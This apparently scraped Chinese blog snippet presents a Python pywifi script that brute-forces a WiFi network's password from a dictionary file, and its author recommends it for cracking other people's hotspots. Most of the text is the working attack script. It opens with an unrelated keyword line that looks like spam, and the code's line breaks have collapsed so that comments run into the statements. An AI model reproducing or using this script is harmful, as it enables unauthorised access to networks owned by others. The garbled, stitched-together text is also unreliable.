租車網(wǎng)站建設(shè)2345網(wǎng)址大全下載到桌面
樂子腳本,有點(diǎn)小慢,試過多線程,系統(tǒng) wifi 連接太慢了,需要時間確認(rèn),多線程的話系統(tǒng)根本反應(yīng)不過來。
也就可以試試破解別人的熱點(diǎn),一般都是 123456 這樣的傻鳥口令
# coding:utf-8
import pywifi
from pywifi import const
import time# 測試連接,返回鏈接結(jié)果
def wifiConnect(wifiName,pwd):# 創(chuàng)建WiFi連接文件profile = pywifi.Profile()# 要連接WiFi的名稱profile.ssid = wifiName# 網(wǎng)卡的開放狀態(tài)profile.auth = const.AUTH_ALG_OPEN# wifi加密算法,一般wifi加密算法為wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密單元profile.cipher = const.CIPHER_TYPE_CCMP# 調(diào)用密碼profile.key = pwd# 刪除所有連接過的wifi文件iface.remove_all_network_profiles()# 設(shè)定新的連接文件tep_profile = iface.add_network_profile(profile)iface.connect(tep_profile)# wifi連接時間time.sleep(1)if iface.status() == const.IFACE_CONNECTED:return Trueelse:return False# 讀取密碼本
def readPassword(path):print("開始破解:")# 打開文件file = open(path, "r")# 一行一行讀取passwords = file.readlines()for password in passwords:# 嘗試連接wifibool = wifiConnect(wifiName,password)if bool:print(f"\033[91m[+]成功連接!密碼:{password}\033[0m")exit()else:# 跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)print("[-]testing:",wifiName, password,end="")if __name__ == '__main__':print("\033[91m保證 wlan 功能模塊開啟!\033[0m")wifiName = input("輸入wifi名稱:")path = input("輸入密碼字典路徑:")while True:# 抓取網(wǎng)卡接口wifi = pywifi.PyWiFi()# 獲取第一個無線網(wǎng)卡iface = wifi.interfaces()[0]# 斷開當(dāng)前網(wǎng)絡(luò)連接iface.disconnect()# 輸出無線網(wǎng)卡名稱print(f"當(dāng)前無線網(wǎng)卡:{iface.name()}")readPassword(path)